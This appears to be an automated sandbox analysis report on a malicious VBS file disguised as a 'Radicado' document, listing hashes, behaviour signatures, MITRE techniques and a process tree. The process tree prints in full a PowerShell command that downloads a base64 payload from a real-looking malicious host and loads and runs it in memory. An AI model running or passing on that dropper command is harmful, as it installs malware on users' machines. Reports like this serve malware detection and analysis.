c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4

Analysis

max time kernel
152s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03/10/2022, 17:40

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General

Target

Radicado #1-2022-028101_8002465216546165465651_265465165465165a6654ff564216165ca1654215648984461ca89.vbs
Size

238KB
MD5

518a1bd0764ca25fcf36d8a55bf2ebd9
SHA1

d6e490cdf33972c115a035631a3db91e527b0ef3
SHA256

c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
SHA512

b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
SSDEEP

48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_startup

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	5024	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5024	powershell.exe
5024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5024	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 5024	2108	WScript.exe	83
PID 2108 wrote to memory of 5024	2108	WScript.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Radicado #1-2022-028101_8002465216546165465651_265465165465165a6654ff564216165ca1654215648984461ca89.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/5024-133-0x000002CB7E170000-0x000002CB7E192000-memory.dmp

Filesize
136KB

Download
memory/5024-134-0x00007FF816A90000-0x00007FF817551000-memory.dmp

Filesize
10.8MB

Download
memory/5024-135-0x00007FF816A90000-0x00007FF817551000-memory.dmp

Filesize
10.8MB

Download
memory/5024-136-0x00007FF816A90000-0x00007FF817551000-memory.dmp

Filesize
10.8MB

Download